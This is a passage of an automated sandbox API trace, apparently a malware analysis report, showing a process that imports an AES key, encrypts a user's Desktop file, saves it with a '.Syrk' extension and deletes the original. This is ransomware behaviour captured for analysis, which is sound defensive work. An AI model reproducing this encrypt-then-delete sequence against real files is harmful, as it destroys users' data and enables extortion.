(in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.515] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0196.515] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0196.515] SystemFunction041 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.515] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0196.515] SystemFunction040 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.515] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0196.516] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0196.516] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0196.516] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0196.516] SystemFunction041 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0196.516] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0196.516] SystemFunction040 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0196.516] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0196.516] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0196.516] SystemFunction041 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0196.516] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0196.516] SystemFunction040 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0196.516] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0196.516] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0196.516] SystemFunction041 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0196.517] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0196.517] SystemFunction040 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0196.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0196.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0196.517] SystemFunction041 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0196.517] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0196.517] SystemFunction040 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0196.517] EtwEventActivityIdControl () returned 0x0 [0196.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0196.517] SystemFunction041 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0196.517] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0196.517] SystemFunction040 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0196.519] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x5c4d078) returned 1 [0196.521] CryptImportKey (in: hProv=0x5c4d078, pbData=0x24dfa2c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c68cc0) returned 1 [0196.521] CryptContextAddRef (hProv=0x5c4d078, pdwReserved=0x0, dwFlags=0x0) returned 1 [0196.522] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.522] EtwEventActivityIdControl () returned 0x0 [0196.522] EtwEventActivityIdControl () returned 0x0 [0196.522] EtwEventActivityIdControl () returned 0x0 [0196.528] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\4xirqcknn-c5.mp3")) returned 0x20 [0196.529] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\4xirqcknn-c5.mp3")) returned 0x20 [0196.529] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0196.530] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", lpFilePart=0x0) returned 0x2b [0196.530] EtwEventActivityIdControl () returned 0x0 [0196.531] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.531] EtwEventActivityIdControl () returned 0x0 [0196.531] EtwEventActivityIdControl () returned 0x0 [0196.531] EtwEventActivityIdControl () returned 0x0 [0196.532] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0196.532] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", lpFilePart=0x0) returned 0x2b [0196.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0196.533] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\4xirqcknn-c5.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0196.533] GetFileType (hFile=0x44c) returned 0x1 [0196.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0196.533] GetFileType (hFile=0x44c) returned 0x1 [0196.533] EtwEventActivityIdControl () returned 0x0 [0196.534] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.534] EtwEventActivityIdControl () returned 0x0 [0196.534] EtwEventActivityIdControl () returned 0x0 [0196.534] EtwEventActivityIdControl () returned 0x0 [0196.535] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0196.535] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3.Syrk", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3.Syrk", lpFilePart=0x0) returned 0x30 [0196.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0196.536] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\4xirqcknn-c5.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0196.541] GetFileType (hFile=0x45c) returned 0x1 [0196.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0196.541] GetFileType (hFile=0x45c) returned 0x1 [0196.541] EtwEventActivityIdControl () returned 0x0 [0196.541] CryptGenRandom (in: hProv=0x5c4d078, dwLen=0x10, pbBuffer=0x24efca8 | out: pbBuffer=0x24efca8) returned 1 [0196.542] CryptContextAddRef (hProv=0x5c4d078, pdwReserved=0x0, dwFlags=0x0) returned 1 [0196.543] CryptDuplicateKey (in: hKey=0x5c68cc0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c68840) returned 1 [0196.543] CryptContextAddRef (hProv=0x5c4d078, pdwReserved=0x0, dwFlags=0x0) returned 1 [0196.543] CryptSetKeyParam (hKey=0x5c68840, dwParam=0x4, pbData=0x24f1118*=0x1, dwFlags=0x0) returned 1 [0196.543] CryptSetKeyParam (hKey=0x5c68840, dwParam=0x1, pbData=0x24f10e4, dwFlags=0x0) returned 1 [0196.543] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.544] EtwEventActivityIdControl () returned 0x0 [0196.544] EtwEventActivityIdControl () returned 0x0 [0196.544] EtwEventActivityIdControl () returned 0x0 [0196.545] EtwEventActivityIdControl () returned 0x0 [0196.545] ReadFile (in: hFile=0x44c, lpBuffer=0x24f3d80, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x24f3d80*, lpNumberOfBytesRead=0x5a2ea0c*=0xf571, lpOverlapped=0x0) returned 1 [0196.548] CryptEncrypt (in: hKey=0x5c68840, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2507d98*, pdwDataLen=0x5a2ea00*=0xf570, dwBufLen=0xf570 | out: pbData=0x2507d98*, pdwDataLen=0x5a2ea00*=0xf570) returned 1 [0196.549] WriteFile (in: hFile=0x45c, lpBuffer=0x24efdec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x24efdec*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0196.551] WriteFile (in: hFile=0x45c, lpBuffer=0x2508d84*, nNumberOfBytesToWrite=0xe584, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x2508d84*, lpNumberOfBytesWritten=0x5a2e9e4*=0xe584, lpOverlapped=0x0) returned 1 [0196.552] ReadFile (in: hFile=0x44c, lpBuffer=0x24f3d80, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x24f3d80*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0196.552] CryptEncrypt (in: hKey=0x5c68840, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x251737c*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x251737c*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0196.552] CryptEncrypt (in: hKey=0x5c68840, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2517398*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x2517398*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0196.553] WriteFile (in: hFile=0x45c, lpBuffer=0x24efdec*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x24efdec*, lpNumberOfBytesWritten=0x5a2ea38*=0x10, lpOverlapped=0x0) returned 1 [0196.553] CloseHandle (hObject=0x45c) returned 1 [0196.635] CloseHandle (hObject=0x44c) returned 1 [0196.636] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.637] EtwEventActivityIdControl () returned 0x0 [0196.637] EtwEventActivityIdControl () returned 0x0 [0196.637] EtwEventActivityIdControl () returned 0x0 [0196.643] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\4xirqcknn-c5.mp3")) returned 0x20 [0196.645] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0196.645] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", lpFilePart=0x0) returned 0x2b [0196.646] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0196.646] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0196.646] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0196.646] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0196.646] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0196.646] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0196.646] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0196.646] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0196.647] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0196.647] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0196.647] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0196.647] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0196.647] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0196.647] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0196.647] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0196.647] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0196.647] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\4xirqcknn-c5.mp3")) returned 0x20 [0196.647] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0196.648] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", lpFilePart=0x0) returned 0x2b [0196.651] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0196.651] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", lpFilePart=0x0) returned 0x2b [0196.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0196.651] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0196.651] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", lpFilePart=0x0) returned 0x2b [0196.652] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\4xirqcknn-c5.mp3\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0196.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0196.652] CoTaskMemAlloc (cb=0x404) returned 0x5c927e8 [0196.652] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c927e8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0196.652] CoTaskMemFree (pv=0x5c927e8) [0196.655] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\4xirqcknn-c5.mp3")) returned 0x20 [0196.655] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0196.655] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3", lpFilePart=0x0) returned 0x2b [0196.655] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0196.655] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\4xirqcknn-c5.mp3"), fInfoLevelId=0x0, lpFileInformation=0x233fee0 | out: lpFileInformation=0x233fee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4063bcf0, ftCreationTime.dwHighDateTime=0x1d998ae, ftLastAccessTime.dwLowDateTime=0x1c4c4d40, ftLastAccessTime.dwHighDateTime=0x1d99cb0, ftLastWriteTime.dwLowDateTime=0x1c4c4d40, ftLastWriteTime.dwHighDateTime=0x1d99cb0, nFileSizeHigh=0x0, nFileSizeLow=0xf571)) returned 1 [0196.655] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0196.655] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\4xirqcknn-c5.mp3")) returned 1 [0196.658] EtwEventActivityIdControl () returned 0x0 [0196.658] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.659] EtwEventActivityIdControl () returned 0x0 [0196.659] EtwEventActivityIdControl () returned 0x0 [0196.659] EtwEventActivityIdControl () returned 0x0 [0196.665] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\4xirqcknn-c5.mp3.syrk")) returned 0x20 [0196.667] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\4xirqcknn-c5.mp3.syrk")) returned 0x20 [0196.667] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0196.667] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3.Syrk", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3.Syrk", lpFilePart=0x0) returned 0x30 [0196.668] EtwEventActivityIdControl () returned 0x0 [0196.668] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.668] EtwEventActivityIdControl () returned 0x0 [0196.668] EtwEventActivityIdControl () returned 0x0 [0196.668] EtwEventActivityIdControl () returned 0x0 [0196.674] EtwEventActivityIdControl () returned 0x0 [0196.675] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.675] EtwEventActivityIdControl () returned 0x0 [0196.675] EtwEventActivityIdControl () returned 0x0 [0196.675] EtwEventActivityIdControl () returned 0x0 [0196.678] EtwEventActivityIdControl () returned 0x0 [0196.679] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.679] EtwEventActivityIdControl () returned 0x0 [0196.679] EtwEventActivityIdControl () returned 0x0 [0196.679] EtwEventActivityIdControl () returned 0x0 [0196.740] EtwEventActivityIdControl () returned 0x0 [0196.740] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.740] EtwEventActivityIdControl () returned 0x0 [0196.740] EtwEventActivityIdControl () returned 0x0 [0196.740] EtwEventActivityIdControl () returned 0x0 [0196.744] EtwEventActivityIdControl () returned 0x0 [0196.744] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.745] EtwEventActivityIdControl () returned 0x0 [0196.745] EtwEventActivityIdControl () returned 0x0 [0196.745] EtwEventActivityIdControl () returned 0x0 [0196.748] EtwEventActivityIdControl () returned 0x0 [0196.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0196.754] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4XirQCKnN-C5.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\4xirqcknn-c5.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x234978c | out: lpFileInformation=0x234978c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1ad6460, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xf1ad6460, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xf1afc5c0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0xf594)) returned 1 [0196.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0196.755] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e740 | out: lpConsoleScreenBufferInfo=0x5a2e740) returned 1 [0196.757] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e738 | out: lpMode=0x5a2e738) returned 1 [0196.757] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e72c, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e72c*=0x2) returned 1 [0196.764] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6e4 | out: lpConsoleScreenBufferInfo=0x5a2e6e4) returned 1 [0196.764] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e738 | out: lpConsoleScreenBufferInfo=0x5a2e738) returned 1 [0196.764] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e730 | out: lpMode=0x5a2e730) returned 1 [0196.765] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, 